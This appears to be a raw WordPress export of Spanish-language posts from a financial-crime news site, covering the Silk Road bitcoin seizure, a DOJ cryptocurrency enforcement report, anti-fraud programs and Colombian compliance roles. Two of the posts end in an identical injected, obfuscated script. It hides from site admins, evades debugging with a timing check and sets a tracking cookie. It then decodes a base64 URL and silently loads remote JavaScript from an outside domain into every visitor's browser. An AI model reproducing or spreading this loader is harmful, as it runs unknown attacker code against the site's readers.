llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad 